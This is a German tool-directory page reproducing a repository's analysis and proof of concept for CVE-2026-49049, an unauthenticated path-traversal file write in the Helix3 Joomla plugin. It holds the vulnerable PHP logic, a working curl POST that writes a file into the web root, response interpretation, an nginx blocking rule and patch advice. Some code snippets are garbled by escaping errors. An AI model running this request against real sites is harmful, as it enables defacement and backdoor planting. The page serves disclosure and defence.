Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-49049 — Technische Analyse und Proof of Concept (PoC) für CVE-2026-49049, eine nicht authentifizierte Schwachstelle zum beliebigen Schreiben von Dateien in JoomShaper Helix3 für Joomla, einschließlich Ausnutzungsvektoren und Abhilfemaßnahmen. | Kitploit
Tools/GitHubGitHub/dr-d25/cve-2026-49049
SchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheitPenetrationstestsLernen & Bildung
GitHubdr-d25/cve-2026-49049

CVE-2026-49049

Technische Analyse und Proof of Concept (PoC) für CVE-2026-49049, eine nicht authentifizierte Schwachstelle zum beliebigen Schreiben von Dateien in JoomShaper Helix3 für Joomla, einschließlich Ausnutzungsvektoren und Abhilfemaßnahmen.

Repository anzeigen
vor 1 MonatNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Analyse der Schwachstelle CVE-2026-49049: Unauthenticated Arbitrary File Write in JoomShaper Helix3 (Joomla)

Dieses Repository enthält Materialien, eine technische Analyse und einen Proof of Concept (PoC) für die kritische Schwachstelle CVE-2026-49049, die im veralteten Template-Framework Helix3 von JoomShaper für das CMS Joomla (Versionen 1.0 bis einschließlich 3.1.0) entdeckt wurde.

Die Schwachstelle wird in freier Wildbahn aktiv von automatisierten Botnetzen ausgenutzt (insbesondere im Rahmen der Defacement-Kampagne AntonKill).


🔬 Technische Analyse der Schwachstelle

Das Problem liegt im systemeigenen AJAX-Handler von Joomla (com_ajax), der die Methode onAjaxHelix3() im Plugin plg_ajax_helix3 aufruft. Die Entwickler der Komponente haben Folgendes nicht vorgesehen:

  1. Überprüfung der Benutzerauthentifizierung (Authentication Bypass).
  2. Überprüfung von CSRF-Tokens.
  3. Pfadfilterung (Path Traversal Validation) bei der Verarbeitung des Parameters layoutName.

Logik des anfälligen PHP-Codes:

root@kitploit:~
public function onAjaxHelix3() {
    \$input = Factory::getApplication()->input;
    \(data  =\)input->post->get('data', [], 'array');
    \(action =\)data['action'];
    \(layoutName =\)data['layoutName'];

    // Отсутствует проверка прав! Отсутствует фильтрация пути!
    \$filepath = \(layoutPath .\)layoutName; 

    switch (\$action) {
        case 'save':
            // Запись контролируемых данных в произвольную директорию сервера
            fwrite(fopen(\(filepath . '.json', 'wb'),\)data['content']);
            break;
    }
}

🛠 Proof of Concept (PoC)

Zur Verifikation der Schwachstelle wird eine POST-Anfrage mit dem Content-Typ application/x-www-form-urlencoded verwendet. Diese Methode der Parameterverpackung ist am effektivsten, um die Sicherheitslücke zu demonstrieren.

Angriffsvektor (cURL-Befehl):

root@kitploit:~
curl -sk -X POST \
  'https://target.com' \
  -d 'data[action]=save&data[layoutName]=../../../../../../../example&data[content]={"probe":"test"}'

Detaillierte Aufschlüsselung der gesendeten Daten:


🎯 Analyse der Serverantworten (Validierungsfirmen)

Bei Penetrationstests kann der Server verschiedene Arten von Antworten zurückgeben. Deren Interpretation ist entscheidend:

Variante A: Schwachstelle erfolgreich ausgenutzt (Datei geschrieben)

Serverantwort:

root@kitploit:~
{"success":true,"message":null,"messages":null,"data":[]}

Interpretation: Das Plugin ist anfällig, es gibt keine Betriebssystemeinschränkungen. Die Datei wurde erfolgreich im Stammverzeichnis der Website erstellt und ist unter https://target.com erreichbar. Die Website erfordert sofortige Bereinigung und Isolierung.

Variante B: Plugin ist anfällig, aber der Betriebssystemschutz hat eingegriffen

Serverantwort:

root@kitploit:~
{
  "success":false,
  "message":"fwrite(): Argument #1 (\$stream) must be of type resource, bool given",
  "messages":null,
  "data":null
}

Interpretation: Teilerfolg. Die Logik des Helix3-Plugins wurde kompromittiert – es hat die Daten ohne Authentifizierung angenommen und versucht, eine Datei zum Schreiben zu öffnen (fopen). Allerdings hat das Linux-Betriebssystem diese Aktion blockiert, da der Webserver-Benutzer (z. B. www-data) keine Schreibrechte im Stammverzeichnis der Website hat.

Variante C: System ist geschützt (aktualisiert oder entfernt)

Serverantwort: Status 404 Not Found, 403 Forbidden oder leere Antwort []. Interpretation: Das Plugin wurde auf eine sichere Version (3.1.1+) aktualisiert, in der eine Authentifizierungsprüfung hinzugefügt wurde, oder es wurde vollständig aus dem CMS entfernt.


🛡 Minderung und Beseitigung der Bedrohung

  1. Aktualisierung / Entfernung: Aktualisieren Sie Helix3 auf Version 3.1.1 oder höher. Wenn das Framework nicht verwendet wird, entfernen Sie das Plugin plg_ajax_helix3 vollständig über das Joomla-Administrationspanel.
  2. Schutz auf WAF-Ebene (Nginx): Fügen Sie eine Regel hinzu, um schädliche POST-Anfragen zu blockieren:
    root@kitploit:~
    if (\(request_method = POST) { set\)test "P"; }
    if (\$arg_plugin = "helix3") { set \(test "\){test}H"; }
    if (\$test = PH) { return 403; }
    

Haftungsausschluss: Dieses Material wird ausschließlich zu Bildungszwecken und für legitime Sicherheitsaudits von Systemen (Pentesting) bereitgestellt. Der Autor übernimmt keine Haftung für die missbräuchliche Verwendung der bereitgestellten Informationen.

Tool herunterladen
ParameterWert / BeispielWas bedeutet das für den Server
optioncom_ajaxEinstiegspunkt in Joomla für die Verarbeitung von AJAX-Anfragen.
pluginhelix3Systemidentifikator, der Joomla zwingt, die Kontrolle an das anfällige Plugin Helix3 zu übergeben.
formatjsonWeist die Engine an, die Antwort im JSON-Format zurückzugeben.
-ddata[...]Anforderungsbody (Formulardaten), der automatisch von PHP in das globale Array $_POST interpretiert wird.
data[action]saveDer switch-Schalter im Code. Weist das Plugin an, die Funktion zum Schreiben (Erstellen) einer Datei aufzurufen.
data[layoutName]../../../../../../../exampleWichtigster Angriffsvektor (Path Traversal). Die Zeichen ../ zwingen das Betriebssystem, den isolierten Plugin-Ordner zu verlassen und ins Stammverzeichnis der Website zu gelangen. Die Erweiterung .json wird automatisch vom Plugin hinzugefügt.
data[content]{"probe":"test"}Nutzlast (Payload). Textdaten, die physisch in die erstellte Datei example.json geschrieben werden. In realen Angriffen wird hier schädlicher Defacement-Code oder Backdoors eingefügt.